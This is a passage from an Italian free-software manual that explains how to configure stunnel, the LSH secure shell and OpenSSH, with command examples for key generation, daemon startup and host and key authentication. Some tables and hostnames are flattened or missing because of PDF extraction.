197 Applicazioni che usano OpenSSL 2181 Opzione Descrizione -v 2 Verifica il certificato della controparte. -v 3 Verifica la controparte con i certificati disponibili localmente. -a directory Directory contenente i certificati per la verifica -v 3. -d porta Porta di ascolto per le richieste di connessione. Avvio di un programma compatibile con il supervisore dei -l programma [-- argomenti] servizi di rete. -r [indirizzo-ip:]porta Servizio remoto da contattare Utilizzo pratico Stunnel non ha una destinazione di utilizzo ben precisa, per cui occorre decidere prima cosa farne, quindi intervenire in modo appropriato nella configurazione del sistema. In generale, trattandosi di un demone che può funzionare solo in modo autonomo, non si deve intervenire nella configurazione del supervisore dei servizi di rete; al massimo si possono predisporre degli script per la procedura di inizializzazione del sistema. Vengono mostrati alcuni esempi, tenendo conto che il certificato riferito al servente si trova nel file /etc/ssl/certs/stunnel.pem. # stunnel -p /etc/ssl/certs/stunnel.pem -d 443 -r 80 In questo caso, molto semplice, si avvia il demone in modo da dare al servizio HTTP locale la possibilità di essere raggiunto attraverso il protocollo HTTPS. In pratica, il demone resta in ascolto della porta locale 443, per connessioni SSL/TLS, funzionando come proxy nei confronti della porta locale 80, con la quale la comunicazione avviene in chiaro. # stunnel -p /etc/ssl/certs/stunnel.pem -d 443 -r :80 Come nell esempio precedente, ma il servizio HTTP si trova in un nodo preciso, , che si presume essere diverso da quello locale. # stunnel -c -d 80 -r :443 Il demone funziona in modalità cliente in attesa di connessioni in chiaro attraverso la porta locale 80, mentre contatta per converso la porta 443, nel nodo , utilizzando in questo caso la crittografia SSL/TLS. # stunnel -p /etc/ssl/certs/stunnel.pem -d 993 -l /usr/sbin/imapd -- imapd Il demone resta in ascolto della porta 993 (IMAPS) e utilizza lo standard output per comunicare con una copia di imapd, in chiaro. Si osservi la necessità di ripetere il nome del demone imapd come primo argomento dello stesso. # stunnel -p /etc/ssl/certs/stunnel.pem -d 993 -l /usr/sbin/tcpd -- /usr/sbin/imapd Come nell esempio precedente, ma aggiungendo il controllo da parte del TCP wrapper. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

198 LSH Capitolo 201 LSH 1 è un sistema di comunicazione cifrata che consente di sostituirsi alle funzionalità di una shell remota, quale rsh. Il suo sviluppo è nato dalla necessità di realizzare qualcosa di simile e compatibile con il protocollo di Secure Shell (capitolo 202), ovvero quello che qui viene chiamato protocollo SECSH, secondo lo spirito del software libero, anche alla luce della sua standardizzazione attraverso il lavoro di IETF SECSH Working Group, < LSH si compone principalmente di quattro eseguibili essenziali: lshd, il demone che offre il servizio; lsh (oppure lshc ), il programma cliente; lsh-keygen e lsh-writekey, per generare e memorizzare le chiavi pubbliche e private. Attualmente, LSH non prevede file di configurazione, per cui i programmi ricevono le opzioni di funzionamento esclusivamente attraverso la riga di comando. Il nome di questo programma coincide con quello di una shell normale (per l uso locale del sistema operativo). Per questa ragione, il programma eseguibile lsh, inteso come la parte cliente della comunicazione, potrebbe avere un altro nome, per esempio lshc, onde evitare conflitti Attivazione del servizio LSH Perché sia possibile attivare il servizio per ricevere connessioni secondo il protocollo SEC- SH, è necessario avviare il demone lshd, il quale però richiede una coppia di chiavi, privata e pubblica, che deve essere realizzata preventivamente attraverso lsh-keygen e lsh-writekey. Supponendo di volere collocare i file della coppia di chiavi pubblica e privata nella directory /etc/lsh/, si può agire come si vede nell esempio seguente. In seguito verrà chiarito il significato delle opzioni usate. # lsh-keygen -l 8 lsh-writekey /etc/lsh/lsh_host_key In questo modo, usando una pipeline, si crea la coppia di file /etc/lsh/lsh_host_key e /etc/lsh/lsh_host_key.pub. Il primo dei due contiene la chiave privata, mentre il secondo contiene la chiave pubblica. Dato lo scopo, la chiave privata non è protetta da una parola d ordine, dal momento che il servizio deve essere reso automaticamente. Naturalmente, il file della chiave privata deve avere soltanto i permessi indispensabili per permettere a lshd di accedervi. Per avviare lshd, in qualità di demone, utilizzando la coppia di chiavi appena creata, si potrebbe usare il comando seguente: # lshd --daemonic -h /etc/lsh/lsh_host_key In questo modo, lshd si disimpegna dalla shell e si mette a funzionare sullo sfondo (l opzione --daemonic ), utilizzando la coppia di chiavi contenuta nei file /etc/lsh/lsh_host_key e /etc/lsh/lsh_host_key.pub, utilizzando la porta predefinita per le connessioni con questo tipo di protocollo. A titolo di esempio, viene anche mostrato in che modo potrebbe essere organizzato uno script elementare per il controllo del servizio LSH, attraverso la procedura di inizializzazione del sistema. 1 LSH GNU GPL 2182

199 LSH 2183 #!/bin/sh test -f /usr/sbin/lshd exit 0 case "$1" in start) echo -n "Avvio del servizio LSH: " /usr/sbin/lshd --daemonic -h /etc/lsh/lsh_host_key echo ;; stop) echo -n "Disattivazione del servizio LSH: " killall lshd echo ;; *) echo "Utilizzo: lshd {start stop}" exit 1 esac Gestione delle chiavi lsh-keygen e lsh-writekey, utilizzati come si vede nello schema sintattico seguente, permettono di generare e memorizzare una coppia di chiavi (privata e pubblica). Il nome del file fornito come argomento di lsh-writekey è quello della chiave privata, intendendo che la chiave pubblica abbia in più l estensione.pub. lsh-keygen [opzioni] lsh-writekey file_chiave_privata lsh-keygen da solo, genera le informazioni necessarie a definire la coppia di chiavi emettendo un certificato SPKI attraverso lo standard output, da cui lsh-writekey estrapola poi i file necessari. Segue la descrizione di alcune opzioni di lsh-keygen. Opzione -a dsa -l { } Descrizione Questa opzione servirebbe a consentire la selezione di un algoritmo particolare per la generazione della chiave. Attualmente è disponibile soltanto l algoritmo DSA, come si vede dallo schema mostrato, che è ovviamente quello predefinito. Questa opzione permette di definire la dimensione della chiave utilizzata. L argomento numerico permette di richiedere un minimo di 512 bit, attraverso lo zero, fino a un massimo di 1024 bit, attraverso il numero otto. Se non si specifica questa opzione, la scelta predefinita corrisponde al livello numero quattro, pari a 768 bit. Seguono alcuni esempi. # lsh-keygen -l 8 lsh-writekey /etc/lsh/lsh_host_key Genera una coppia di chiavi: /etc/lsh/lsh_host_key e /etc/lsh/ lsh_host_key.pub. In particolare, viene richiesta la lunghezza di 1024 bit. # lsh-keygen lsh-writekey Genera una coppia di chiavi utilizzando le informazioni predefinite. In particolare, dovrebbe trattarsi dei file /etc/lsh_host_key e /etc/lsh_host_key.pub.

200 2184 LSH Avvio del servente lshd è il servente del servizio LSH. In linea di principio, si tratta di un programma che viene avviato e fermato automaticamente dalla procedura di inizializzazione del sistema, ma può essere usato anche da un utente comune, se in tal caso ci si limita a sfruttare porte TCP non privilegiate. lshd [opzioni] Si può osservare che lshd non si mette a funzionare sullo sfondo in modo automatico; per questo richiede espressamente l opzione --daemonic. Inoltre, dal momento che non dispone (per ora) di un file di configurazione, tutto viene indicato attraverso la riga di comando. Opzione --port porta -p porta --daemonic --interface interfaccia -h file_chiave_privata --pid-file file --no-password --no-publickey --root-login Descrizione Definisce una porta di ascolto diversa da quella predefinita per questo tipo di protocollo. La porta predefinita è normalmente la numero 22, corrispondente alla denominazione convenzionale ssh. Richiede esplicitamente il funzionamento come demone. Senza questa opzione, lshd rimane in primo piano. Consente di limitare l ascolto all interfaccia di rete indicata. In condizioni normali, l ascolto è esteso a tutte le interfacce disponibili. Consente di indicare esplicitamente la collocazione del file contenente la chiave privata abbinata al servizio. Si intende che il file della chiave pubblica debba essere collocato nella stessa directory e contenere semplicemente l estensione.pub. Permette di richiedere il controllo di un file contenente l informazione sull identità del processo relativo. Può essere utile quando si usa lshd nell ambito di uno script della procedura di inizializzazione del sistema. In generale, se il file esiste già, anche se in realtà il processo relativo non esiste più, lshd non si avvia. Disabilita la possibilità di accedere attraverso l uso di una parola d ordine. Disabilita il meccanismo di autenticazione basato sull uso della chiave pubblica del cliente. Consente esplicitamente l accesso all utente root, cosa che di solito è impedita. Segue la descrizione di alcuni esempi. # lshd --daemonic -h /etc/lsh/lsh_host_key Avvia lshd come demone, utilizzando la chiave privata contenuta nel file lsh_host_key che si trova nella directory /etc/lsh/. # lshd --daemonic -h /etc/lsh/lsh_host_key --port 4711 Come nell esempio precedente, ma utilizzando la porta numero # lshd --daemonic -h /etc/lsh/lsh_host_key --root-login Come nell esempio precedente, utilizzando la porta normale e concedendo all utente root di accedere.

201 LSH Cliente del servizio LSH Il collegamento a un servizio LSH avviene attraverso il programma lsh. Anche questo non prevede alcun file di configurazione, per cui la serie di opzioni della riga di comando è molto lunga. Prima che un utente possa utilizzare lsh è necessario che abbia predisposto la directory ~/.lsh/ (a partire dalla propria directory personale), in cui devono essere presenti inizialmente i file identity e known_hosts, anche se vuoti. Eventualmente, si può creare la propria coppia di chiavi nel modo seguente: $ lsh-keygen -l 8 lsh-writekey ~/.lsh/identity 2 Inizialmente è possibile tentare una connessione con un servizio già avviato, più o meno nel modo seguente, dove si immagina di voler accedere al nodo dinkel.brot.dg con il nominativo tizio : $ lsh --sloppy-host-authentication -l tizio dinkel.brot.dg Dopo aver completato la connessione ed esserne usciti (probabilmente con un comando exit, a seconda della shell), si può osservare che è stato creato un file aggiuntivo, ~/.lsh/ captured_keys, contenente la chiave pubblica del nodo remoto appena contattato. Si tratta di una cosa simile a quella seguente: ; ACL for host dinkel.brot.dg {KDM6YWNsKDU6ZW50cnkoMTA6cHVibGljLWtleSgz...gtaG9zdGtleTk6bG9jYWxob3N0KSkpKQ==} Se ci si fida della connessione avvenuta, nel senso che si crede realmente che si tratti della chiave pubblica del nodo che si intendeva contattare, basta ricopiare queste due righe (la prima è un commento) nel file ~/.lsh/known_hosts per poter controllare in seguito la sua identità. Infatti, l opzione --sloppy-host-authentication era servita proprio per consentire la connessione anche senza disporre di questa informazione; in seguito, per contattare lo stesso nodo, non deve essere più usata Utilizzo del programma cliente lsh è quindi il programma cliente per l accesso a un servizio LSH. lsh [opzioni] host lshc [opzioni] host In generale viene usato per attivare una shell, in modo da intervenire in un elaboratore remoto presso un utenza di cui si dispone. In pratica, si tratta di una shell remota, con la quale è possibile anche limitarsi ad avviare dei comandi, il cui risultato si vuole elaborare localmente. Opzione --port porta -p porta --host-db file_nodi_conosciuti Descrizione Permette di specificare l uso di una porta differente da quella predefinita. Permette di indicare esplicitamente quale file contiene le informazioni sui nodi conosciuti. In modo predefinito si tratta di ~/.lsh/known_hosts. 2 Tuttavia, allo stato attuale, manca la possibilità di realizzare un file ~/.lsh/authorized_keys, con il quale si renderebbe disponibile effettivamente questa funzionalità.

202 2186 LSH Opzione Descrizione Permette di ignorare il file dei nodi conosciuti, rinunciando così alla possibilità di verificare l identità del nodo remoto. Tuttavia, in condizioni normali viene mostrata l impronta --sloppy-host-authentication digitale della chiave del nodo remoto, a cui segue una richiesta di conferma esplicita. Se si accetta, la chiave pubblica del nodo remoto viene annotata nel file ~/.lsh/ captured_keys. Si tratta dell attivazione della modalità di funzionamento per cui non si accettano connessioni se i nodi remoti non sono --strict-host-authentication già conosciuti. Questo comportamento è quello normale, tanto che per aggirarlo è necessario usare l opzione inversa --sloppy-host-authentication. Consente di indicare un file alternativo a ~/.lsh/ --capture-to file captured_keys per il salvataggio delle chiavi pubbliche dei nodi remoti. Consente di indicare il nominativo con cui accedere presso -l utente il sistema remoto. Se non si usa questa opzione, si usa implicitamente lo stesso nome usato nel sistema locale. Consente di indicare un comando da eseguire nel sistema remoto, al termine del quale termina la connessione. Il comando -E comando può anche essere fornito alla fine, dopo l indicazione del nodo remoto, come avviene nella migliore tradizione delle shell remote. -q Riduce al minimo i messaggi e le domande. -v Dà informazioni utili a comprendere come avviene la connessione. Segue la descrizione di alcuni esempi. $ lsh --sloppy-host-authentication --capture-to ~/.lsh/known_hosts -l tizio dinkel.brot.dg Ci si connette presso il nodo dinkel.brot.dg utilizzando il nominativo tizio, memorizzando la chiave pubblica di quel nodo direttamente nel file ~/.lsh/ known_hosts. $ lsh -l tizio dinkel.brot.dg Ci si connette presso il nodo dinkel.brot.dg utilizzando il nominativo tizio, disponendo già di un file ~/.lsh/known_hosts aggiornato in modo tale da poter identificare il nodo remoto. $ lsh -l tizio -E ls dinkel.brot.dg > prova Crea localmente il file prova contenente l elenco della directory personale dell utente tizio presso il nodo dinkel.brot.dg. $ lsh -l tizio dinkel.brot.dg ls > prova Esattamente come nell esempio precedente, ma senza l uso esplicito dell opzione -E.

203 LSH Riferimenti IETF SECSH Working Group < Martin Hamilton, psst... < Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

204 OpenSSH Capitolo 202 Secure Shell, ovvero SSH, è software proprietario. All inizio della sua storia, la sua licenza era differente, pur restando il problema dei diritti di brevetto su alcuni algoritmi crittografici utilizzati. Dai sorgenti originali di Secure Shell, quando si trattava ancora di un edizione relativamente «libera», si sono sviluppati diversi lavori alternativi, in cui sono stati eliminati in particolare gli algoritmi crittografici più problematici da un punto di vista legale. In questo capitolo si vuole descrivere in particolare il funzionamento di OpenSSH, 1 che ha mantenuto molte affinità con il software originale di Secure Shell Protocolli OpenSSH può gestire due tipi diversi di protocolli SECSH, identificati come versione 1 e versione 2. In generale si considera più sicura la versione 2, ma esistono ancora molti programmi cliente che sono in grado di comunicare solo con la prima versione. L utilizzo di una o dell altra versione ha delle conseguenze nella configurazione e nel modo di generare le chiavi; pertanto, si cercherà di richiamare l attenzione a questo proposito Preparazione delle chiavi La prima cosa da fare per attivare e utilizzare OpenSSH è la creazione della coppia di chiavi pubblica e privata per il servente, cosa che si ottiene con l ausilio del programma ssh-keygen. Queste chiavi vanno memorizzate normalmente nei file /etc/ssh/ssh_host_key e /etc/ ssh/ssh_host_key.pub, dove in particolare la chiave privata (il primo dei due file) non deve essere protetto con una parola d ordine. Dal momento che questa coppia di chiavi viene realizzata in modo diverso a seconda del protocollo SECSH usato, può essere conveniente predisporre tre coppie di file: /etc/ ssh/ssh_host_key[.pub] per una coppia RSA adatta al protocollo 1; /etc/ssh/ ssh_host_rsa_key[.pub] e /etc/ssh/ssh_host_dsa_key[.pub] per una coppia RSA e DSA adatte al protocollo 2. Eventualmente può essere necessario creare un altra coppia di file anche nei clienti che intendono sfruttare un autenticazione RHOST+RSA, anche in questo caso, senza parola d ordine. Infine, ogni utente che vuole utilizzare un autenticazione RSA pura e semplice deve generare una propria coppia di chiavi, proteggendo possibilmente la chiave privata con una parola d ordine. Quando si creano coppie di chiavi da collocare nell ambito della propria directory personale, se ne prepara solitamente una coppia sola, decidendo implicitamente la versione del protocollo SECSH che verrà usato per quello scopo. Il modello sintattico complessivo di ssh-keygen è molto semplice e si può riassumere così: ssh-keygen [opzioni] Il suo scopo è quello di generare e modificare una coppia di chiavi in altrettanti file distinti: uno per la chiave privata, che eventualmente può essere anche cifrata, e uno contenente la chiave pubblica, a cui generalmente viene aggiunta l estensione.pub. 1 OpenSSH licenza speciale 2188

205 OpenSSH 2189 La cifratura della chiave privata viene fatta generalmente perché questa non possa essere rubata; infatti, se non si utilizza questa precauzione, occorre fare in modo che nessuno possa riuscire a raggiungere il file in lettura. In pratica, una chiave privata di un utente comune, deve essere sempre cifrata, perché l utente root potrebbe accedere al file corrispondente. La coppia di chiavi che si genera, sia nel file della parte privata, sia in quello della parte pubblica, può contenere un commento utile ad annotare lo scopo di quella chiave. Convenzionalmente, viene generato automaticamente un commento corrispondente all indirizzo di posta elettronica dell utente che l ha generata. In corrispondenza della creazione di una chiave, viene generato anche il file ~/.ssh/ random_seed, che serve come supporto alla creazione di chiavi sufficientemente «casuali». Ogni volta che lo stesso utente genera una nuova chiave, il vecchio file ~/.ssh/random_seed viene riutilizzato e aggiornato di conseguenza. Il file ~/.ssh/random_seed e quelli delle chiavi private, devono essere accessibili solo all utente proprietario. Segue l elenco delle opzioni più comuni: -b n_bit -f file -p -N parola_d ordine -t rsa1 -t rsa -t dsa permette di definire la dimensione della chiave in bit, tenendo conto che la dimensione minima è di 512 bit, mentre il valore predefinito è di 1024, che è ancora ritenuto sufficiente per un livello di sicurezza normale; permette di definire esplicitamente il nome del file della chiave privata da generare, dove poi il nome della chiave pubblica è ottenuto semplicemente con l aggiunta dell estensione.pub ; consente di modificare la parola d ordine che protegge una chiave privata già esistente, in modo interattivo; permette di indicare la parola d ordine da usare per proteggere la chiave privata nella riga di comando; permette di specificare il tipo di chiavi da generare, tenendo conto che il tipo rsa1 è utilizzabile solo per la versione 1 del protocollo SECSH, mentre gli altri due tipi sono adatti alla versione 2. A seconda del tipo di chiavi che si generano, i file predefiniti hanno un nome differente, allo scopo di consentire la gestione simultanea di tutti i tipi di chiave disponibili: ~/.ssh/identity ~/.ssh/identity.pub ~/.ssh/id_rsa ~/.ssh/id_rsa.pub ~/.ssh/id_dsa ~/.ssh/id_dsa.pub per una coppia di chiavi RSA adatta alla versione 1 del protocollo SECSH; per una coppia di chiavi RSA adatta alla versione 2 del protocollo SECSH; per una coppia di chiavi DSA adatta alla versione 2 del protocollo SECSH. Una volta installato OpenSSH, se si intende far funzionare il servente in modo da accettare tutti i tipi di protocollo, vanno create le varie coppie di chiavi nella directory /etc/ssh/, attraverso i passaggi seguenti. In particolare, si osservi che non si possono proteggere le chiavi private con una parola d ordine, altrimenti il servente non potrebbe lavorare in modo autonomo. # ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N Crea la coppia di chiavi RSA per la versione 1 del protocollo, nei file /etc/ssh/ssh_host_key e /etc/ssh/ssh_host_key.pub.

206 2190 OpenSSH # ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N # ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key -N Crea la coppia di chiavi RSA per la versione 2 del protocollo, nei file /etc/ssh/ ssh_host_rsa_key e /etc/ ssh/ssh_host_rsa_key.pub. Crea la coppia di chiavi DSA per la versione 2 del protocollo, nei file /etc/ssh/ ssh_host_dsa_key e /etc/ ssh/ssh_host_dsa_key.pub. Naturalmente, se lo si desidera, si può usare anche l opzione -b per specificare una lunghezza della chiave diversa dal valore predefinito. L utente comune che desidera creare le proprie coppie di chiavi, per utilizzare poi delle forme di autenticazione basate sul riconoscimento delle chiavi stesse, può agire secondo i passaggi seguenti, avendo cura di definire una parola d ordine per proteggere le chiavi private. Si osservi che non viene indicato il nome dei file, perché si fa riferimento alle collocazioni predefinite. Naturalmente, anche in questo caso l utente può usare l opzione -p se intende ottenere una dimensione particolare della chiave. # ssh-keygen -t rsa1 # ssh-keygen -t rsa # ssh-keygen -t dsa Crea la coppia di chiavi RSA per la versione 1 del protocollo, nei file predefiniti ~/.ssh/identity e ~/.ssh/identity.pub. Crea la coppia di chiavi RSA per la versione 2 del protocollo, nei file predefiniti ~/.ssh/id_rsa e ~/.ssh/id_rsa.pub. Crea la coppia di chiavi DSA per la versione 2 del protocollo, nei file predefiniti ~/.ssh/id_dsa e ~/.ssh/id_dsa.pub Verifica dell identità dei serventi Nei clienti è possibile predisporre il file /etc/ssh/ssh_known_hosts con l elenco delle chiavi pubbliche dei serventi a cui ci si collega frequentemente. In aggiunta, ogni utente dei clienti può avere il proprio file ~/.ssh/known_hosts, per le chiavi pubbliche che non siano già presenti nel file /etc/ssh/ssh_known_hosts. Quando un cliente si collega la prima volta a un servente OpenSSH, se la sua chiave pubblica non è già stata inserita nel file /etc/ssh/ssh_known_hosts, viene proposto all utente di aggiungere quella chiave pubblica nel file ~/.ssh/known_hosts. The authenticity of host dinkel.brot.dg ( ) can t be established. RSA key fingerprint is dc:16:d5:2b:20:c5:2b:7b:69:1c:72:cc:d1:26:99:8b. Are you sure you want to continue connecting (yes/no)? yes[ Invio ] Host dinkel.brot.dg added to the list of known hosts. In un secondo momento, se per qualche motivo la chiave di un servente, già conosciuta in precedenza da un cliente (attraverso il file /etc/ssh/ssh_known_hosts, oppure attraverso i file ~/.ssh/known_hosts ), dovesse essere cambiata, tale cliente non riconoscerebbe più il servente e avviserebbe l utente:

207 OpenSSH WARNING: REMOTE HOST IDENTIFICATION IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is dc:16:d5:2b:20:c5:2b:7b:69:1c:72:cc:d1:26:99:8b. Please contact your system administrator. Add correct host key in /home/tizio/.ssh/known_hosts to get rid of this message. Offending key in /home/tizio/.ssh/known_hosts:6 RSA host key for localhost has changed and you have requested strict checking. Host key verification failed. In questo caso, come suggerisce il messaggio, è sufficiente modificare il file ~/.ssh/ known_hosts alla sesta riga, per fare in modo che questo contenga il riferimento alla nuova chiave pubblica del servente. Volendo intervenire a mano in questo file ( ~/.ssh/known_hosts o /etc/ssh/ ssh_known_hosts ), conviene conoscere come questo è organizzato. Il file può contenere commenti, rappresentati dalle righe che iniziano con il simbolo #, righe vuote, che vengono ignorate ugualmente; per il resto si tratta di righe contenenti ognuna l informazione sulla chiave pubblica di un servente particolare. Queste righe significative sono composte in uno dei modi seguenti, dove i vari elementi sono separati da uno o più spazi. host lunghezza_della_chiave esponente modulo host tipo_di_chiave chiave_pubblica Tanto per fare un esempio, l ipotetico elaboratore linux.brot.dg potrebbe richiedere la riga seguente (abbreviata per motivi tipografici) per una chiave RSA adatta al protocollo SECSH versione 1: roggen.brot.dg Oppure, potrebbe trattarsi di una riga simile a quella seguente per una chiave RSA adatta al protocollo SECSH versione 2: roggen.brot.dg ssh-rsa AAAAB3NzaC1yc2EAAAAB...IwAAAgEAnhvScnWn3hCXk7W90= Evidentemente, data la dimensione delle chiavi, è improbabile che queste vengano ricopiate attraverso la digitazione diretta. Questi dati vengono ritagliati normalmente dal file della chiave pubblica a cui si riferiscono. A titolo di esempio, i file delle chiavi pubbliche corrispondenti a quanto già mostrato, avrebbero potuto essere composti dalla riga: [email protected] oppure: ssh-rsa AAAAB3NzaC1yc2EAAAAB...IwAAAgEAnhvScnWn3hCXk7W90= [email protected] Comunque, quando si vuole intervenire nel file /etc/ssh/ssh_known_hosts, anche se questa operazione può avvenire solo in modo manuale, rimane sempre la possibilità di ottenere la prima volta l aggiornamento automatico del file ~/.ssh/known_hosts, dal quale poi si può tagliare e incollare quanto serve nel file /etc/ssh/ssh_known_hosts, senza altre modifiche.

208 2192 OpenSSH Autenticazione RHOST L autenticazione RHOST, come già accennato, è un metodo semplice e insicuro di autenticare l accesso attraverso la tecnica dei file /etc/hosts.equiv e ~/.rhosts già utilizzata da rlogin. In alternativa a questi file, OpenSSH può utilizzare la coppia /etc/ssh/shosts.equiv e ~/.shosts, in modo da poter essere configurato indipendentemente da rlogin e rsh. Perché questa tecnica di autenticazione possa essere utilizzata, è necessario configurare sshd, ovvero il demone di OpenSSH. Diversamente, in modo predefinito, l autenticazione RHOST non viene concessa. È bene sottolineare che questo tipo di sistema di accesso facilitato è assolutamente sconsigliabile. La disponibilità di questo metodo si giustifica solo per motivazioni storiche collegate all uso di programmi come Rsh. In ogni caso, occorre considerare che OpenSSH non consente di usare questo sistema di autenticazione se i permessi di accesso a questi file non sono abbastanza ristretti. Pertanto, il più delle volte, quando si tenta di attuare questo tipo di sistema, l autenticazione fallisce. L esempio seguente mostra il contenuto del file /etc/ssh/shosts.equiv, oppure di /etc/ hosts.equiv, di un elaboratore per il quale si vuole consentire l accesso da parte di dinkel.brot.dg e di roggen.brot.dg. dinkel.brot.dg roggen.brot.dg In questo modo, gli utenti dei nodi dinkel.brot.dg e roggen.brot.dg possono accedere al sistema locale senza la richiesta formale di alcuna identificazione, purché esista per loro un utente con lo stesso nome. L elenco di nodi equivalenti può contenere anche l indicazione di utenti particolari, per la precisione, ogni riga può contenere il nome di un nodo seguito eventualmente da uno spazio e dal nome di un utente. Si osservi l esempio seguente: dinkel.brot.dg roggen.brot.dg dinkel.brot.dg tizio dinkel.brot.dg caio Come nell esempio precedente, viene concesso agli utenti dei nodi dinkel.brot.dg e roggen.brot.dg di accedere localmente attraverso lo stesso nominativo utilizzato nei sistemi remoti. In aggiunta a questo, però, viene concesso agli utenti tizio e caio del nodo dinkel.brot.dg, di accedere identificandosi con il nome di qualunque utente, senza la richiesta di alcuna parola d ordine. Si può intuire che fare una cosa del genere significa concedere a tali utenti privilegi simili a quelli che ha l utente root. In generale, tali utenti non dovrebbero essere in grado di utilizzare UID molto bassi, ma comunque ciò non è un buon motivo per configurare in questo modo il file /etc/ssh/shosts.equiv o /etc/hosts.equiv. Indipendentemente dal fatto che il file /etc/ssh/shosts.equiv, oppure /etc/ hosts.equiv, sia presente o meno, ogni utente può predisporre il proprio file ~/.shosts, oppure ~/.rhosts. La sintassi di questo file è la stessa di /etc/ssh/shosts.equiv (e di /etc/hosts.equiv ), ma si riferisce esclusivamente all utente che predispone tale file nella propria directory personale.

209 OpenSSH 2193 In questo file, l indicazione di utenti precisi è utile e opportuna, perché quell utente potrebbe disporre di nominativi-utente differenti sui nodi da cui vuole accedere. dinkel.brot.dg tizi roggen.brot.dg tizio L esempio mostra l indicazione precisa di ogni nominativo-utente dei nodi che possono accedere senza richiesta di identificazione Autenticazione RHOST sommata al riconoscimento della chiave pubblica L autenticazione RHOST può essere sommata a quella del riconoscimento della chiave pubblica, utilizza gli stessi file già visti nell autenticazione RHOST normale, ma in più richiede che il cliente sia riconosciuto. Perché ciò avvenga, occorre che il cliente abbia una propria chiave, cioè abbia definito la coppia di file /etc/ssh/ssh_host_key e /etc/ssh/ssh_host_key.pub, e che la sua parte pubblica sia annotata nel file /etc/ssh/ssh_known_hosts del servente, oppure nel file ~/.ssh/known_hosts riferito all utente che dal cliente vuole accedere. In generale, non è necessario questo tipo di autenticazione mista, che di solito è anche disabilitata in modo predefinito. Infatti, è sufficiente che sia disponibile un autenticazione basata sul controllo della chiave pubblica, senza altre restrizioni Autenticazione basata sul controllo della chiave pubblica L autenticazione basata sul controllo della chiave pubblica, pura e semplice, permette di raggiungere un livello di garanzia ulteriore. Per il suo utilizzo, l utente deve creare una propria coppia di chiavi per ogni tipo di protocollo che intenda usare (i file ~/.ssh/identity e ~/.ssh/identity.pub, oppure ~/.ssh/id_rsa e ~/.ssh/id_rsa.pub, oppure ~/.ssh/id_dsa e ~/.ssh/id_dsa.pub ) presso l elaboratore cliente. Data la situazione, come è già stato descritto, è opportuno che la chiave privata sia protetta con una parola d ordine. Per accedere a un servente utilizzando questo tipo di autenticazione, occorre che l utente aggiunga nel file ~/.ssh/authorized_keys presso il servente, le sue chiavi pubbliche definite nel nodo cliente. Perché il sistema di autenticazione basato sulla verifica delle chiavi funzioni, è necessario che i permessi dei file coinvolti e delle stesse directory non consentano l intromissione di estranei. In particolare, può darsi che venga rifiutato questo tipo di autenticazione se la directory personale o anche solo ~/.ssh/ dispongono dei permessi di scrittura per il gruppo proprietario. L utente che utilizza questo tipo di sistema di autenticazione, potrebbe usare le stesse chiavi da tutti i clienti da cui intende accedere al servente, oppure potrebbe usare chiavi differenti, aggiungendole tutte al file ~/.ssh/authorized_keys del servente. Quando si stabilisce una connessione con questo tipo di autenticazione, se la chiave privata dell utente è cifrata attraverso una parola d ordine, si ottiene un messaggio come quello seguente: 2 Si deve fare attenzione al fatto che tra il nome del nodo e il nome dell utente ci deve essere uno spazio.

210 2194 OpenSSH Enter passphrase for RSA key : Diversamente, se le chiave privata coinvolta non è cifrata, per l accesso non è richiesto altro. In pratica, per concedere l accesso attraverso questa forma di autenticazione, è sufficiente aggiungere nel file ~/.ssh/authorized_keys le chiavi pubbliche delle utenze che interessano, prelevandole dai file ~/.ssh/id.pub * contenuti nei nodi clienti rispettivi. L esempio seguente mostra un ipotetico file ~/.ssh/authorized_keys contenente il riferimento a sei chiavi. La parte finale, quella alfabetica, è la descrizione della chiave, il cui unico scopo è quello di permetterne il riconoscimento a livello umano [email protected] ssh-rsa AAAAB3NzaC1...erMIqmsserVBqIuP1JHUivfY7VU= [email protected] ssh-dss AAAAB3NzaC1...kc3MgA83UkVTtCLsS42GBGR3wA== [email protected] [email protected] ssh-rsa AAAAB3NzaC1...erGTRDbMIqmssIuP1JHUivfY7VU= [email protected] ssh-dss AAAAB3NzaC1...kc3MgA8HYjGrDCLsS42GBGR3wA== [email protected] In realtà, le righe di questo file potrebbero essere più complesse, con l aggiunta di un campo iniziale, contenente delle opzioni. Queste opzioni, facoltative, sono una serie di direttive separate da una virgola e senza spazi aggiunti. Eventualmente, le stringhe contenenti spazi devono essere racchiuse tra coppie di apici doppi; inoltre, se queste stringhe devono contenere un apice doppio, questo può essere indicato proteggendolo con la barra obliqua inversa ( \" ). Permette di limitare l accesso. Con un elenco di modelli, eventualmente composto con caratteri jolly ( *,? ), si possono indicare i nomi dei nodi a cui è concesso oppure è negato l accesso. Per la precisione, i modelli che iniziano con un from="elenco_modelli " punto esclamativo si riferiscono a nomi cui l accesso viene vietato espressamente. Permette di abbinare una chiave a un comando. In pratica, chi accede utilizzando questa chiave, invece di ottenere una shell, command="comando " ottiene l esecuzione del comando indicato e subito dopo la connessione ha termine. Di solito, si abbina questa opzione a no-pty e a no-port-forwarding. no-port-forwarding Vieta espressamente l inoltro del TCP/IP. no-x11-forwarding Vieta espressamente l inoltro del protocollo X11. Impedisce l allocazione di uno pseudo terminale (pseudo no-pty TTY). Vengono mostrati alcuni esempi nell elenco seguente. from="*.brot.dg,!schwarz.brot.dg" [email protected] command="ls" [email protected] command="tar czpf /home/tizio/backup/lettere.tar.gz /home/tizio/lettere" [email protected] Concede l accesso con la chiave indicata, solo al dominio brot.dg, escludendo espressamente il nome schwarz.brot.dg. Chi tenta di accedere utilizzando questa chiave, ottiene semplicemente l esecuzione del comando ls nella directory corrente, cioè la directory personale dell utente corrispondente. Chi tenta di accedere utilizzando questa chiave, ottiene semplicemente l archiviazione della directory /home/ tizio/lettere/.

